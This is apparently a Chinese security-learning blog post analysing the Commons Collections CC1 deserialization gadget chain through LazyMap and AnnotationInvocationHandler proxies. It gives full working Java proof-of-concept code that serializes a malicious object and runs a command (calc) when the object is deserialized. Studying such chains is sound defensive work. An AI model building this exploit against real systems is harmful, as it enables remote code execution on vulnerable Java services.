CC1链-LazyMap链利用分析
CC1链-LazyMap链利用分析
CC1链的第二种方式,上文已经把第一种方式进行详细分析,这次通过第二种方式进行利用
环境:
和上次的环境环境一致,也接着从上次分析
也就是如图红色链条的部分

原理分析:
上次我们用的是TransformedMap中的checkSetValue方法这次,这次利用LazyMap中的get()方法

1.要让map.containskey(key) == false //判断键的唯一性,不放键值对也保证条件成立
2.factory我们要注入恶意类Chainstransform
3.控制key为runtime.class对象(因为原理没有变最后还是通过transform执行,得通过Chainstransform绕过Runtime对象)
map和factory是由构造函数传入的,而构造函数在静态方法decorate中调用

目前的poc(能弹出计算器)
public class LazyMapTest {
public static void main(String[] args) {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
lazyMap.get(Runtime.class);
}
}
继续找谁调用了get()方法,这里也是直接说结果了,AnnotationInvocationHandler类中的invoke方法调用了get函数

先聊聊AnnotationInvocationHandler类 ,它实现了InvocationHandler接口,因此它可以作为动态代理的调用处理器,而它本身不是代理类,动态代理的核心是InovationHandler接口
比如这个动态代理类中就用到了InovationHandler
public class ProxyUtil {
public static Star createProxy(BigStar bigStar) {
Star starProxy = (Star) Proxy.newProxyInstance(ProxyUtil.class.getClassLoader(),
new Class[]{Star.class},
new InvocationHandler() {
@Override //回调方法:当主程序执行sing方法时会调用invoke,并将参数传过来
// proxy就是代理对象starProxy,method指sing,args指"好日子"
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
//代理对象要做的事情,会在这里写代码
if (method.getName().equals("sing")) {
System.out.println("准备话筒,收钱20万");
} else if (method.getName().equals("dance")) {
System.out.println("准备场地,收钱1000万");
}
return method.invoke(bigStar, args);
}
});
return starProxy;
}
}
也就是说使用AnnotationInvocationHandler处理器的委托类(被动态代理的类)执行任何方法都会执行这个处理器的invoke方法(要除开Object类的默认方法,如hashCode())
举个例子
比如让定义一个lazymap委托类(用这个处理器处理),执行类中方法时,就会执行这个处理器中的invoke方法
当然我们还需要满足invoke()方法能执行到get()方法处,并且memberValues得为LazyMap

现在我们整理下信息,首先我们的代理器AnnotationInvocationHandler得传入LazyMap,可以通过反射构造
第二,有委托类的无参调用,且终点是readObject(),这个终点的readObject()可以是任何类
最后的条件应该为,假设最后我们用到a类对象,它可以是任意类,但它的readObject()方法中必须有委托类的无参方法调用。且委托类的处理器应传入LazyMap
再解释下这段话,就是我们最后是反序列化一个对象,然后通过对象的反序列化启动这一系列的行为,所以这个类的readObject()得出现这个被代理类的无参方法,这样我们就可以恶意执行了。
我们最后找到的类是a类正好是AnnotationInvocationHandler,委托类是LazyMap,entrySet()是无参方法
这个readObject函数我们也在之前cc1中分析过


所以整个链是什么,AnnotationInvocationHandler反序列化,执行memberValues.entrySet()方法,memberValues是被代理的Map类,所以执行处理器AnnotationInvocationHandler中的invoke方法,LazyMap.get(member)(这里的member是空)->transform(将空转成runtime.class再恶意执行代码)
最后把整个流程写一下,先获得处理器
//生成处理器
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor= clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler)constructor.newInstance(Override.class, lazyMap);
生成委托类
//生成LazyMap委托类
Map proxyMap = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
生成a类
//生成a类AnnotationInvocationHandler,同样也是使用这个构造器,这里写Override也可以,因为我们只需要达到无参构造,不需要通过if判断
Object obj = constructor.newInstance(Target.class, proxyMap);
最后合并得到最后的poc
POC:
public class LazyMapTest {
public static void main(String[] args) throws Exception {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
//生成处理器
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor= clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler)constructor.newInstance(Override.class, lazyMap);
//生成LazyMap委托类
Map proxyMap = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
//生成a类AnnotationInvocationHandler,同样也是使用这个构造器,这里写Override也可以,因为我们只需要达到无参构造,不需要通过if判断
Object obj = constructor.newInstance(Target.class, proxyMap);
//序列化
new ObjectOutputStream(new FileOutputStream("ser1.bin")).writeObject(obj);
//反序列化
new ObjectInputStream(new FileInputStream("ser1.bin")).readObject();
}
}
最后成功弹出计算器


浙公网安备 33010602011771号